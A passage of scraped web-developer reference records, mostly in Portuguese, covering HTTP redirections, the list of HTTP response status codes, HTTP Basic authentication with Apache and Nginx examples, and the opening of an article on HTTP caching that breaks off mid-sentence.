praticamente existem agentes de usuários lá fazendo isso. 308 foi criado para remover a ambiguidade do comportamento ao usar métodos não-GET.\n\n### Redirecionamentos temporários\n\nÀs vezes, o recurso solicitado não pode ser acessado a partir da sua localização canônica, mas pode ser acessado a partir de outro local. Neste caso, um redirecionamento temporário pode ser usado. Os robôs do mecanismo de busca não memorizam o novo e temporário link. Os redirecionamentos temporários também são usados ao criar, atualizar e excluir recursos para apresentar páginas de progresso temporárias.\n\n| Code | Text | Method handling | Typical use case |\n| --- | --- | --- | --- |\n| `302` | `Encontrado` | `GET` métodos inalterados. Outros podem ou não serem alterados para `GET`.[2] | A página da Web não está temporariamente disponível por motivos imprevisíveis. Dessa forma, os motores de busca não atualizam seus links. |\n| `303` | `Ver outro` | `GET` Métodos inalterados. Outros *alterados* para `GET` (corpo perdido). | Usado para redirecionar após um `PUT` ou um `POST` para evitar uma atualização da página que reativaria a operação. |\n| `307` | `Redirecionamento temporário` | Método ou corpo não alterados | A página da Web não está temporariamente disponível por motivos imprevisíveis. Dessa forma, os motores de busca não atualizam seus links. Melhor que 302 quando os links / operações não-GET estão disponíveis no site. |\n\n[2] A especificação não tinha intenção de permitir mudanças de método, mas praticamente existem agentes de usuários lá fazendo isso. 307 foi criado para remover a ambiguidade do comportamento ao usar métodos não-GET.\n\n### Redirecionamentos Especiais\n\nAlém desses redirecionamentos usuais, existem dois redirecionamentos específicos. O `304` (Não Modificado) redireciona uma página para a cópia em cache local (que estava obsoleta) e `300` (Múltipla escolha) é um redirecionamento manual: o corpo, apresentado pelo navegador como uma página da Web, lista os possíveis redirecionamentos e o usuário clica em um para selecioná-lo.\n\n| Code | Text | Typical use case |\n| --- | --- | --- |\n| `300` | `Múltipla Escolha` | Não muitas: as opções estão listadas em uma página HTML no corpo. Poderia ser servido com um estado `200` OK. |\n| `304` | `Não Modificado` | Atualização de cache: isso indica que o valor do cache ainda é recente e pode ser usado. |\n\nAlternative way of specifying redirections\n------------------------------------------\n\nHTTP redirects aren't the only way to define redirections. There are two other methods: HTML redirections using the `<meta>` element, and JavaScript redirections using the DOM.\n\n### HTML redirections\n\nHTTP redirects are the preferred way to create redirections, but sometimes the Web developer doesn't have control over the server or cannot configure it. For these specific cases, the Web developers can craft an HTML page with a `<meta>` element and the `http-equiv` attribute set to `refresh` in the `<head>` of the page. When displaying the page, the browser will find this element and will go to the indicated page.\n\n\n```html\n<head>\n  <meta http-equiv=\"refresh\" content=\"0; URL=http://www.example.com/\" />\n</head>\n```\n\n\nThe `content` attribute starts with a number indicating how many seconds the browser should wait before redirecting to the given URL. Always set it to `0`, for better accessibility.\n\nObviously, this method only works with HTML pages (or similar) and cannot be used for images or any other type of content.\n\n**Nota:** Note that these redirections break the back button in a browser: you can go back to a page with this header but it instantaneously moves forward again.\n\n### JavaScript redirections\n\nRedirections in JavaScript are created by setting a value to the `window.location` property and the new page is loaded.\n\n\n```js\nwindow.location = \"http://www.example.com/\";\n```\n\n\nLike HTML redirections, this can't work on all resources, and obviously, this will only work on clients that execute JavaScript. On the other side, there are more possibilities as you can trigger the redirection only if some conditions are met, for example.\n\n### Order of precedence\n\nWith three possibilities for URL redirections, several methods can be specified at the same time, but which one is applied first? The order of precedence is the following:\n\n1. HTTP redirects are always executed first when there is not even a page transmitted, and of course not even read.\n2. HTML redirects (`<meta>`) are executed if there weren't any HTTP redirects.\n3. JavaScript redirects are used as the last resort, and only if JavaScript is enabled on the client side.\n\nWhen possible, always try to use HTTP redirects, and don't use a `<meta>` element. If a developer changes the HTTP redirects and forgets the HTML redirects, redirects are no more identical or end up in an infinite loop, or other nightmares happen.\n\nUse cases\n---------\n\nThere are numerous use cases for redirects, but as performance is impacted with every redirect, their use should be kept to a minimum.\n\n### Domain aliasing\n\nIdeally, there is one location, and therefore one URL, for one resource. But there are reasons for wanting to have alternative names for a resource (several domains, like with and without the www prefix or shorter and easy to remember URLs, …). In these cases, rather than duplicating the resource, it is useful to use a redirect to the one true (canonical) URL.\n\nDomain aliasing can be done for several reasons:\n\n* Expanding the reach of your site. A common case is when your site resides under the `www.example.com` domain and accessing your pages from `example.com` should be possible, too. Redirections for `example.com` pages to `www.example.com` are set up in this case. You might also provide commonly used synonym names or frequent typos of your domain names.\n* Moving to a different domain. For example, your company has been renamed and you when searching for the old name, you want people used to the old company Web site still find you under the new name.\n* Forcing HTTPS. Requests to the HTTP version of your site will be redirected to the HTTPS version of your site.\n### Keeping links alive\n\nWhen you restructure Web sites, URLs of resources change. Even if you can update the internal links of your Web site to match the new naming scheme, you have no control over the URLs used by external resources. You don't want to break these links, as they bring you valuable users (and help your SEO), so you set up redirects from the old URLs to the new ones.\n\n**Nota:** Even if this technique also works for internal links, you should try to avoid having internal redirects. A redirect has a significant performance cost (as an extra HTTP request is done) and if you can avoid it by correcting internal links, you should fix these links.\n\n### Temporary responses to unsafe requests\n\nUnsafe requests modify the state of the server and the user shouldn't replay them inadvertently. Typically, you don't want your users to resend `PUT`, `POST` or `DELETE` requests. If you just serve the response as the result of this request, a simple press of the reload button will (possibly after a confirmation message), resend the request.\n\nIn this case, the server can send back a `303` (See Other) response that will contain the right information, but if the reload button is pressed, only this page is redisplayed, without replaying the unsafe requests.\n\n### Temporary responses to long requests\n\nSome requests may need more time on the server like sometimes `DELETE` requests that are scheduled for later processing. In this case, the response is a `303` (See Other) redirect that links to a page indicating that the action has been scheduled, and eventually informs about the progress, or allows to cancel it.\n\nConfiguring redirects in common servers\n---------------------------------------\n\n### Apache\n\nRedirects can be set either in the server config file or in the `.htaccess` of each directory.\n\nThe mod\\_alias module has `Redirect` and `Redirect_Match` directives that set up a `302` response (by default):\n```\n\n<VirtualHost *:80>\n  ServerName example.com\n  Redirect / http://www.example.com\n</VirtualHost>\n```\n\n\nThe URL `http://example.com/` will be redirected to `http://www.example.com/` (but not `http://example.com/other.html` )\n\n`Redirect_Match` does the same but takes a regular expression to define a collection of URLs that are affected:\n```\n\nRedirectMatch ^/images/(.*)$ http://images.example.com/$1\n```\n\n\nAll documents in the `images/` folder will be redirected to a different domain.\n\nIf you don't want to set up a temporary redirect, an extra parameter (either the HTTP status code to use or the `permanent` keyword) can be used to set up a different redirect:\n```\n\nRedirect permanent / http://www.example.com\nRedirect 301 / http://www.example.com\n```\n\n\nThe mod\\_rewrite module can also be used to create redirects. It is more flexible, but a bit more complex to use.\n\n### Nginx\n\nIn Nginx, you create a specific server block for the content you want to redirect:\n```\n\nserver {\n  listen 80;\n  server_name example.com;\n  return 301 $scheme://www.example.com$request_uri;\n}\n```\n\n\nTo apply a redirect to a folder or a subset of the pages only, use the `rewrite` directive:\n```\n\nrewrite ^/images/(.*)$ http://images.example.com/$1 redirect;\nrewrite ^/images/(.*)$ http://images.example.com/$1 permanent;\n```\n\n### IIS\n\nIn IIS, you use the `<httpRedirect>` element to configure redirections.\n\nRedirection loops\n-----------------\n\nRedirection loops happen when successive redirections follow the one that has already been followed. In other words, there is a loop that will never be finished and no page will be found ultimately.\n\nMost of the time this is a server problem, and if the server cannot detect it, it will send back a `500` `Internal Server Error`. If you encounter such an error soon after modifying a server configuration, this is likely a redirection loop.\n\nSometimes, the server won't detect it: a redirection loop can spread over several servers which each don't have the full picture. In this case, browsers will detect it and post an error message. Firefox will display:\n```\n\nFirefox has detected that the server is redirecting the request for this address in a way that will never complete.\n```\n\n\nwhile Chrome will display:\n```\n\nThis Webpage has a redirect loop\n```\n\n\nIn both cases, the user can't do much (unless a corruption is happening on their side, like a mismatch of cache or cookies).\n\nIt is important to avoid redirection loops as they completely break the user experience."}
{"title":"Códigos de status de respostas HTTP - HTTP","text":"Códigos de status de respostas HTTP\n===================================\n\n Os códigos de status de resposta HTTP indicam se uma solicitação HTTP específica foi concluída com êxito.\n As respostas são agrupadas em cinco classes:\n\n1. Respostas Informativas (`100` – `199`)\n2. Respostas bem-sucedidas (`200` – `299`)\n3. Mensagens de redirecionamento (`300` – `399`)\n4. Respostas de erro do cliente (`400` – `499`)\n5. Respostas de erro do servidor (`500` – `599`)\n\nOs códigos de status listados abaixo são definidos por RFC 9110.\n\n**Nota:** Se você receber uma resposta que não esteja nesta lista, é uma resposta não padrão, possivelmente personalizada para o software do servidor.\n\nRespostas informativas\n----------------------\n\n`100 Continue`\n\nEssa resposta provisória indica que o cliente deve continuar a solicitação ou ignorar a resposta se a solicitação já estiver concluída.\n\n`101 Switching Protocols`\n\nEsse código é enviado em resposta a um cabeçalho de solicitação `Upgrade` (en-US) do cliente e indica o protocolo para o qual o servidor está mudando.\n\n`102 Processing` (en-US) (WebDAV (en-US))\n\nEste código indica que o servidor recebeu e está processando a requisição, mas nenhuma resposta está disponível ainda.\n\n`103 Early Hints` \nExperimental\n\nEste código de status destina-se principalmente a ser usado com o cabeçalho `Link`, permitindo que o agente do usuário inicie o pré-carregamento (en-US) recursos enquanto o servidor prepara uma resposta.\n\nRespostas bem-sucedidas\n-----------------------\n\n`200 OK`\n\nA solicitação foi bem-sucedida. O significado do resultado de \"sucesso\" depende do método HTTP:\n\n* `GET`: O recurso foi obtido e transmitido no corpo da mensagem.\n* `HEAD`: Os cabeçalhos de representação são incluídos na resposta sem nenhum corpo de mensagem.\n* `PUT` ou `POST`: O recurso que descreve o resultado da ação é transmitido no corpo da mensagem.\n* `TRACE`: O corpo da mensagem contém a mensagem de requisição recebida pelo servidor.\n\n`201 Created`\n\nA requisição foi bem sucedida e um novo recurso foi criado como resultado. Esta é normalmente a resposta enviada após as solicitações `POST` ou algumas solicitações `PUT`.\n\n`202 Accepted`\n\n A solicitação foi recebida, mas ainda não foi atendida.\n É sem compromisso, pois não há como no HTTP enviar posteriormente uma resposta assíncrona indicando o resultado da solicitação.\n Destina-se a casos em que outro processo ou servidor manipula a solicitação ou processamento em lote.\n\n\n`203 Non-Authoritative Information`\n\n Esse código de resposta significa que os metadados retornados não são exatamente os mesmos que estão disponíveis no servidor de origem, mas são coletados de uma cópia local ou de terceiros.\n Isso é usado principalmente para espelhos ou backups de outro recurso.\n Exceto para esse caso específico, a resposta `200 OK` é preferida a este status.\n\n\n`204 No Content`\n\n Não há conteúdo para enviar para esta solicitação, mas os cabeçalhos podem ser úteis.\n O agente do usuário pode atualizar seus cabeçalhos em cache para este recurso com os novos.\n\n\n`205 Reset Content`\n\nDiz ao agente do usuário para redefinir o documento que enviou esta solicitação.\n\n`206 Partial Content`\n\nEste código de resposta é usado quando o cabeçalho `Range` é enviado do cliente para solicitar apenas parte de um recurso.\n\n`207 Multi-Status` (en-US) (WebDAV (en-US))\n\nTransmite informações sobre vários recursos, para situações em que vários códigos de status podem ser apropriados.\n\n`208 Already Reported` (en-US) (WebDAV (en-US))\n\nUsado dentro de um elemento de resposta `<dav:propstat>` para evitar enumerar repetidamente os membros internos de várias ligações para a mesma coleção.\n\n`226 IM Used` (en-US) (HTTP Delta encoding)\n\nO servidor atendeu a uma solicitação `GET` para o recurso e a resposta é uma representação do resultado de uma ou mais manipulações de instância aplicadas à instância atual.\n\nMensagens de redirecionamento\n-----------------------------\n\n`300 Multiple Choices`\n\nA solicitação tem mais de uma resposta possível. O agente do usuário ou usuário deve escolher um deles. (Não há uma maneira padronizada de escolher uma das respostas, mas links HTML para as possibilidades são recomendados para que o usuário possa escolher).\n\n`301 Moved Permanently`\n\nA URL do recurso solicitado foi alterada permanentemente. A nova URL é fornecida na resposta.\n\n`302 Found`\n\n Este código de resposta significa que o URI do recurso solicitado foi alterado *temporariamente*.\n Outras alterações no URI podem ser feitas no futuro. Portanto, esta mesma URI deve ser utilizada pelo cliente em requisições futuras.\n\n\n`303 See Other`\n\nO servidor enviou esta resposta para direcionar o cliente a obter o recurso solicitado em outro URI com uma solicitação GET.\n\n`304 Not Modified`\n\n É usado para fins de cache.\n Ele informa ao cliente que a resposta não foi modificada, portanto, o cliente pode continuar a usar a mesma versão em cache da resposta.\n\n\n`305 Use Proxy` \nDeprecated\n\n Definido em uma versão anterior da especificação HTTP para indicar que uma resposta solicitada deve ser acessada por um proxy.\n Foi descontinuado devido a questões de segurança em relação à configuração em banda de um proxy.\n\n\n`306 unused` \nDeprecated\n\nEsse código de resposta não é mais usado, é apenas reservado. Foi usado em uma versão anterior da especificação HTTP/1.1.\n\n`307 Temporary Redirect`\n\n O servidor envia esta resposta para direcionar o cliente a obter o recurso solicitado em outra URI com o mesmo método usado na solicitação anterior.\n Tem a mesma semântica do código de resposta HTTP `302 Found`, com a exceção de que o agente do usuário *não deve* alterar o método HTTP usado: se um `POST` foi usado na primeira solicitação, um `POST` deve ser usado no segundo pedido.\n\n\n`308 Permanent Redirect`\n\n Isso significa que o recurso agora está permanentemente localizado em outro URI, especificado pelo cabeçalho de resposta HTTP `Location:`.\n Isso tem a mesma semântica que o código de resposta HTTP `301 Moved Permanently`, com a exceção de que o agente do usuário *não deve* alterar o método HTTP usado: se um `POST` foi usado na primeira solicitação, um `POST` deve ser usado no segundo pedido.\n\n\nRespostas de erro do cliente\n----------------------------\n\n`400 Bad Request`\n\nO servidor não pode ou não irá processar a solicitação devido a algo que é percebido como um erro do cliente (por exemplo, sintaxe de solicitação malformada, enquadramento de mensagem de solicitação inválida ou roteamento de solicitação enganosa).\n\n`401 Unauthorized`\n\n Embora o padrão HTTP especifique \"unauthorized\", semanticamente, essa resposta significa \"unauthenticated\".\n Ou seja, o cliente deve se autenticar para obter a resposta solicitada.\n\n\n`402 Payment Required` \nExperimental\n\n Este código de resposta está reservado para uso futuro.\n O objetivo inicial da criação deste código era usá-lo para sistemas digitais de pagamento, no entanto, este código de status é usado raramente e não existe nenhuma convenção padrão.\n\n\n`403 Forbidden`\n\n O cliente não tem direitos de acesso ao conteúdo; ou seja, não é autorizado, portanto o servidor está se recusando a fornecer o recurso solicitado.\n Ao contrário do `401 Unauthorized`, a identidade do cliente é conhecida pelo servidor.\n\n\n`404 Not Found`\n\n O servidor não pode encontrar o recurso solicitado.\n No navegador, isso significa que o URL não é reconhecido.\n Em uma API, isso também pode significar que o endpoint é válido, mas o próprio recurso não existe.\n Os servidores também podem enviar esta resposta em vez de `403 Forbidden` para ocultar a existência de um recurso de um cliente não autorizado.\n Este código de resposta é provavelmente o mais conhecido devido à sua ocorrência frequente na web.\n\n\n`405 Method Not Allowed`\n\n O método de solicitação é conhecido pelo servidor, mas não é suportado pelo recurso de destino.\n Por exemplo, uma API pode não permitir chamar `DELETE` para remover um recurso.\n\n\n`406 Not Acceptable`\n\nEsta resposta é enviada quando o servidor web, após realizar negociação de conteúdo orientada pelo servidor, não encontra nenhum conteúdo que esteja em conformidade com os critérios fornecidos por o agente do usuário.\n\n`407 Proxy Authentication Required`\n\nÉ semelhante a `401 Unauthorized`, mas a autenticação precisa ser feita por um proxy.\n\n`408 Request Timeout`\n\n Esta resposta é enviada por alguns servidores em uma conexão ociosa, mesmo sem qualquer requisição prévia pelo cliente.\n Isso significa que o servidor gostaria de desligar esta conexão não utilizada.\n Essa resposta é muito mais usada, pois alguns navegadores, como Chrome, Firefox 27+ ou IE9, usam mecanismos de pré-conexão HTTP para acelerar a navegação.\n Observe também que alguns servidores simplesmente encerram a conexão sem enviar esta mensagem.\n\n\n`409 Conflict`\n\nEsta resposta será enviada quando uma requisição conflitar com o estado atual do servidor.\n\n`410 Gone`\n\n Esta resposta é enviada quando o conteúdo solicitado foi excluído permanentemente do servidor, sem endereço de encaminhamento.\n Espera-se que os clientes removam seus caches e links para o recurso.\n A especificação HTTP pretende que esse código de status seja usado para \"serviços promocionais por tempo limitado\".\n As APIs não devem se sentir compelidas a indicar recursos que foram excluídos com esse código de status.\n\n\n`411 Length Required`\n\nO servidor rejeitou a solicitação porque o campo de cabeçalho `Content-Length` não está definido e o servidor o exige.\n\n`412 Precondition Failed`\n\nO cliente indicou nos seus cabeçalhos pré-condições que o servidor não atende.\n\n`413 Payload Too Large`\n\n A entidade requisição é maior do que os limites definidos pelo servidor.\n O servidor pode fechar a conexão ou retornar um campo de cabeçalho `Retry-After`.\n\n\n`414 URI Too Long`\n\nO URI solicitado pelo cliente é mais longo do que o servidor está disposto a interpretar.\n\n`415 Unsupported Media Type`\n\nO formato de mídia dos dados requisitados não é suportado pelo servidor, portanto, o servidor está rejeitando a requisição.\n\n`416 Range Not Satisfiable`\n\n O intervalo especificado pelo campo de cabeçalho `Range` na solicitação não pode ser atendido.\n É possível que o intervalo esteja fora do tamanho dos dados do URI de destino.\n\n\n`417 Expectation Failed`\n\nEste código de resposta significa que a expectativa indicada pelo campo de cabeçalho de solicitação `Expect` não pode ser atendida pelo servidor.\n\n`418 I'm a teapot`\n\nO servidor recusa a tentativa de coar café num bule de chá.\n\n`421 Misdirected Request` (en-US)\n\n A requisição foi direcionada a um servidor inapto a produzir a resposta.\n Pode ser enviado por um servidor que não está configurado para produzir respostas para a combinação de esquema e autoridade inclusas na URI da requisição.\n\n\n`422 Unprocessable Content` (WebDAV (en-US))\n\nA solicitação foi bem formada, mas não pôde ser atendida devido a erros semânticos.\n\n`423 Locked` (en-US) (WebDAV (en-US))\n\nO recurso que está sendo acessado está bloqueado.\n\n`424 Failed Dependency` (en-US) (WebDAV (en-US))\n\nA solicitação falhou devido à falha de uma solicitação anterior.\n\n`425 Too Early` \nExperimental\n\nIndica que o servidor não está disposto a correr o risco de processar uma solicitação que pode ser repetida.\n\n`426 Upgrade Required`\n\n O servidor se recusa a executar a solicitação usando o protocolo atual, mas pode estar disposto a fazê-lo depois que o cliente atualizar para um protocolo diferente.\n O servidor envia um cabeçalho `Upgrade` (en-US) em uma resposta 426 para indicar os protocolos necessários.\n\n\n`428 Precondition Required`\n\n O servidor de origem exige que a solicitação seja condicional.\n Esta resposta destina-se a prevenir o problema de 'atualização perdida', onde um cliente pega (`GET`) o estado de um recurso, o modifica e o coloca (`PUT`) de volta no servidor, quando entretanto um terceiro modificou o estado no servidor, levando a um conflito.\n\n\n`429 Too Many Requests`\n\nO usuário enviou muitas requisições num dado tempo (\"limitação de frequência\").\n\n`431 Request Header Fields Too Large`\n\n O servidor não está disposto a processar a solicitação porque seus campos de cabeçalho são muito grandes.\n A solicitação pode ser reenviada após reduzir o tamanho dos campos do cabeçalho da solicitação.\n\n\n`451 Unavailable For Legal Reasons`\n\nO agente do usuário solicitou um recurso que não pode ser fornecido legalmente, como uma página da Web censurada por um governo.\n\nRespostas de erro do servidor\n-----------------------------\n\n`500 Internal Server Error`\n\nO servidor encontrou uma situação com a qual não sabe lidar.\n\n`501 Not Implemented`\n\nO método da requisição não é suportado pelo servidor e não pode ser manipulado. Os únicos métodos que servidores devem suportar (e portanto não devem retornar este código) são `GET` e `HEAD`.\n\n`502 Bad Gateway`\n\nEssa resposta de erro significa que o servidor, enquanto trabalhava como um gateway para obter uma resposta necessária para lidar com a solicitação, obteve uma resposta inválida.\n\n`503 Service Unavailable`\n\n O servidor não está pronto para manipular a requisição\n Causas comuns são um servidor em manutenção ou sobrecarregado.\n Note que junto a esta resposta, uma página amigável explicando o problema deveria ser enviada.\n Esta resposta deve ser usada para condições temporárias e o cabeçalho HTTP `Retry-After` deverá, se possível, conter o tempo estimado para recuperação do serviço.\n O webmaster deve também tomar cuidado com os cabeçalhos relacionados com o cache que são enviados com esta resposta, já que estas respostas de condições temporárias normalmente não deveriam ser postas em cache.\n\n\n`504 Gateway Timeout`\n\nEssa resposta de erro é fornecida quando o servidor está atuando como um gateway e não consegue obter uma resposta a tempo.\n\n`505 HTTP Version Not Supported`\n\nA versão HTTP usada na requisição não é suportada pelo servidor.\n\n`506 Variant Also Negotiates`\n\nO servidor tem um erro de configuração interna: o recurso variante escolhido está configurado para se envolver em negociação de conteúdo transparente e, portanto, não é um ponto final adequado no processo de negociação.\n\n`507 Insufficient Storage` (WebDAV (en-US))\n\nO método não pôde ser executado no recurso porque o servidor não pode armazenar a representação necessária para concluir a solicitação com êxito.\n\n`508 Loop Detected` (WebDAV (en-US))\n\nO servidor detectou um loop infinito ao processar a solicitação.\n\n`510 Not Extended`\n\nExtensões adicionais à solicitação são necessárias para que o servidor a atenda.\n\n`511 Network Authentication Required`\n\nIndica que o cliente precisa se autenticar para obter acesso à rede.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Lista de códigos de status na Wikipedia\n* Registro oficial IANA de códigos de status HTTP"}
{"title":"Autenticação HTTP - HTTP","text":"Autenticação HTTP\n=================\n\nO HTTP fornece uma estrutura geral para controle de acesso e autenticação. A autenticação HTTP mais comum é fundamentada no esquema \"Basic\". Esta página introduz a estrutura HTTP para autenticação e mostra como restringir acesso ao seu servidor usando o esquema \"Basic\".\n\nA estrutura geral de autenticação HTTP\n--------------------------------------\n\nRFC 7235 define a estrutura de autenticação HTTP que pode ser usada por um servidor para definir uma solicitação (\"challenge (en-US)\") do cliente e para um cliente fornecer informações de autenticação. A pergunta e resposta segue um caminho como esse: O servidor responde ao cliente com uma mensagem do tipo `401` (Não autorizado) e fornece informações de como autorizar com um cabeçalho de resposta `WWW-Authenticate` contendo ao menos uma solicitação. Um cliente que deseja autenticar-se com um servidor pode fazer isso incluindo um campo de cabeçalho de solicitação `WWW-Authenticate` com as credenciais. Usualmente um cliente apresentará uma solicitação de senha ao usuário e, em seguida, emitirá uma solicitação incluindo o cabeçalho `Authorization` correto.\n\n![A sequence diagram illustrating HTTP messages between a client and a server lifeline.](/pt-BR/docs/Web/HTTP/Authentication/httpauth.png)\n\nNo caso de uma autorização \"Basic\" (como a mostrada na figura), a troca **deve** acontecer por meio de uma conexão HTTP (TLS) para ser segura.\n\n### Autenticação de Proxy\n\nO mesmo mecanismo de solicitação e resposta pode ser usado para uma *autenticação de proxy*. Neste caso, é um proxy intermediário que requer autenticação. Como ambas autenticação de recurso e autenticação de proxy podem coexistir, um conjunto diferente de códigos de cabeçalhos e status torna-se necessário. No caso de proxys, o código de status de solicitação é `407` (Autenticação de Proxy necessária), o cabeçalho de resposta `Proxy-Authenticate` contém ao menos uma solicitação aplicável para o proxy, e o cabeçalho de pedido `Proxy-Authorization` é usado para fornecer as credenciais ao servidor proxy.\n\n### Acesso proibido\n\nSe um servidor proxy recebe credenciais válidas, mas que não são adequadas para ter acesso a um determinado recurso, o servidor responderá com o código de status `Forbidden` `403`. Ao contrário de `401` `Unauthorized` ou `407` `Proxy Authentication Required`, a autenticação é impossível para este usuário.\n\n### Autenticação de imagens de origem cruzada\n\nUm potencial buraco de segurança que foi corrigido recentemente pelos navegadores é a autenticação de imagens cross-site (origem cruzada). Do Firefox 59 (en-US) em diante, recursos de imagem carregados de diferentes origens não são mais capazes de adicionar diálogos de autenticação HTTP (Erro do Firefox 1423146), impedindo que as credencias do usuário sejam roubadas se invasores conseguissem incorporar uma imagem arbitrária em uma página de terceiros.\n\n### A codificação de caracteres da autenticação HTTP\n\nOs navegadores usam a codificação `utf-8` para nomes de usuários e senhas. Firefox usava `ISO-8859-1`, mas alterou para `utf-8` por questões de compatiblidade com outros navegadores, assim como para evitar os potenciais problemas descritos em Erro do Firefox 1419658.\n\n### Cabeçalhos `WWW-Authenticate` e `Proxy-Authenticate`\n\nOs cabeçalhos de resposta `WWW-Authenticate` e `Proxy-Authenticate` definem o método de autenticação que deve ser usado para ganhar acesso a um recurso. Eles precisam especificar que esquema de autenticação é usado para que o cliente que deseja autorizar saiba como fornecer as credenciais. A sintaxe para esses cabeçalhos é a seguinte:\n```\n\nWWW-Authenticate: <type> realm=<realm>\nProxy-Authenticate: <type> realm=<realm>\n```\n\n\n`<type>` é o esquema de autenticação (\"Basic\" é o esquema mais comum e será introduzido abaixo). O *realm* é usado para indicar a área protegida ou o escopo de proteção. Poderia ser uma mensagem parecida com \"Access to the staging site\" (Acesso ao site de teste), portanto o usuário saberá qual área ele está tentando acessar.\n\n### Cabeçalhos `Authorization` e `Proxy-Authorization`\n\nOs cabeçalhos de solicitação `Authorization` e `Proxy-Authorization` contém as credenciais para autenticar um agente de usuário com um servidor proxy. Aqui o tipo é novamente necessário, seguido pelas credenciais, que podem ser codificadas ou criptografadas dependendo do esquema de autenticação usado.\n```\n\nAuthorization: <type> <credentials>\nProxy-Authorization: <type> <credentials>\n```\n\n### Esquemas de autenticação\n\nA estrutura geral de autenticação HTTP é usado por vários esquemas de autenticação. Os esquemas podem divergir na força da segurança e na disponibilidade do software cliente ou servidor.\n\nO esquema mais comum de autenticação é o \"Basic\", que é introduzido com mais detalhes abaixo. IANA mantém uma lista de esquemas de autenticação, mas existem outros esquemas oferecidos por serviços de hospedagem, como Amazon AWS. Os esquemas de autenticação comuns incluem:\n\n* **Basic** (veja RFC 7617, credenciais codificadas em base64. Veja abaixo mais informações.),\n* **Bearer** (veja RFC 6750, tokens bearer (de portador) para acessar recursos protegidos por OAuth 2.0),\n* **Digest** (veja RFC 7616, apenas hash md5 é suportado no Firefox, veja Erro do Firefox 472823 para o suporte de encriptação SHA),\n* **HOBA** (veja RFC 7486 (esboço), **H**TTP **O**rigin-**B**ound **A**uthentication (Autenticação Vinculada à Origem HTTP), baseado em assinatura digital),\n* **Mutual** (veja draft-ietf-httpauth-mutual),\n* **AWS4-HMAC-SHA256** (veja Documentação AWS).\nEsquema Basic de autenticação\n-----------------------------\n\nO esquema \"Basic\" de autenticação HTTP é definido em RFC 7617, transmitindo credenciais como pares de ID/senhas de usuários, codificadas usando base64.\n\n### Segurança da autenticação básica\n\nComo o ID e senha do usuário são transmitidos através da rede como texto claro (é codificado em base64, mas base64 é uma codificação reversível), o esquema básico de autenticação não é seguro. HTTPS / TLS devem ser usados em conjunto com autenticação básica. Sem esses aprimoramentos de segurança adicionais, a autenticação básica não deve ser usada para proteger informação sensível ou valiosa.\n\n### Restringindo acesso no Apache e autorização básica\n\nPara proteger com senha um diretório em um servidor Apache, você precisará de um arquivo `.htaccess` e um `.htpasswd`.\n\nO arquivo `.htaccess` normalmente parece com isso:\n```\n\nAuthType Basic\nAuthName \"Access to the staging site\"\nAuthUserFile /path/to/.htpasswd\nRequire valid-user\n```\n\n\nO arquivo `.htaccess` referencia um arquivo `.htpasswd` em que cada linha contém um nome de usuário e senha separados por dois pontos (\":\"). Você não pode ver as senhas reais porque foram criptografadas (em md5, neste caso). Note que você pode renomear seu arquivo `.htpasswd` caso queira, mas tenha em mente que este arquivo não deve ser acessado por ninguém. (Apache normalmente é configurado para previnir acesso aos arquivos `.ht*`).\n```\n\naladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.\nuser2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/\n```\n\n### Restringindo acesso no nginx e autenticação básica\n\nNo nginx, você precisará especificar uma área que que você protegerá e a diretiva `auth_basic` que fornece o nome para a área protegida por senha. A diretiva `auth_basic_user_file` aponta para um arquivo .htpasswd contentdo as credenciais do usuário criptografadas, assim como no exemplo Apache acima.\n```\n\nlocation /status {\n    auth_basic           \"Access to the staging site\";\n    auth_basic_user_file /etc/apache2/.htpasswd;\n}\n```\n\n### Acesso usando as credenciais na URL\n\nVários clientes também permitem que você evite o prompt de login usando uma URL codificada contendo o nome de usuário e senha como esta:\n```\n\nhttps://username:password@www.example.com/\n```\n\n\n**O uso destas URLs está obsoleto**. No Chrome, a parte `username:password@` nas URLs é retirada por razões de segurança. No Firefox, é verificado se o site realmente Airequer autenticação e, se não, Firefox alertará o usuário com uma mensagem \"Você está prestes a logar no site \"www.example.com\" com seu nome de usuário \"username\", mas o website não requer autenticação. Isso pode ser uma tentativa de enganá-lo\".\n\nVeja também\n-----------\n\n* `WWW-Authenticate`\n* `Authorization`\n* `Proxy-Authorization`\n* `Proxy-Authenticate`\n* `401`, `403`, `407`"}
{"title":"HTTP caching - HTTP","text":"HTTP caching\n============\n\nVisão geral\n-----------\n\nO cache HTTP armazena uma resposta associada a uma solicitação e reutiliza a resposta armazenada para solicitações subsequentes.\n\nExistem várias vantagens na reutilização. Primeiro, como não há necessidade de entregar a solicitação ao servidor de origem, quanto mais próximos o cliente e o cache estiverem, mais rápida será a resposta. O exemplo mais típico é quando o próprio navegador armazena um cache para solicitações do navegador.\n\nAlém disso, quando uma resposta é reutilizável, o servidor de origem não precisa processar a solicitação — portanto, não precisa analisar e rotear a solicitação, restaurar a sessão com base no cookie, consultar o banco de dados para obter resultados ou renderizar o mecanismo de modelo . Isso reduz a carga no servidor.\n\nA operação adequada do cache é fundamental para a integridade do sistema.\n\nTipos de caches\n---------------\n\nNa especificação HTTP Caching, existem dois tipos principais de caches: **caches privados** e **caches compartilhados**.\n\n### Caches privados\n\nUm cache privado é um cache vinculado a um cliente específico — normalmente um cache de navegador. Como a resposta armazenada não é compartilhada com outros clientes, um cache privado pode armazenar uma resposta personalizada para esse usuário.\n\nPor outro lado, se o conteúdo personalizado for armazenado em um cache que não seja um cache privado, outros usuários poderão recuperar esse conteúdo - o que pode causar vazamento não intencional de informações.\n\nSe uma resposta contém conteúdo personalizado e você deseja armazenar a resposta apenas no cache privado, você deve especificar uma diretiva `private`.\n\n\n```http\nCache-Control: private\n```\n\n\nOs conteúdos personalizados são geralmente controlados por cookies, mas a presença de um cookie nem sempre indica que é privado e, portanto, um cookie por si só não torna a resposta privada.\n\nObserve que se a resposta tiver um cabeçalho `Authorization`, ela não poderá ser armazenada no cache privado (ou em um cache compartilhado, a menos que `public` seja especificado).\n\n### Cache compartilhado\n\nO cache compartilhado está localizado entre o cliente e o servidor e pode armazenar respostas que podem ser compartilhadas entre os usuários. E os caches compartilhados podem ser subdivididos em **caches de proxy** e **caches gerenciados**.\n\n#### Caches de proxy\n\nAlém da função de controle de acesso, alguns proxies implementam cache para reduzir o tráfego fora da rede. Isso geralmente não é gerenciado pelo desenvolvedor do serviço, portanto, deve ser controlado por cabeçalhos HTTP apropriados e assim por 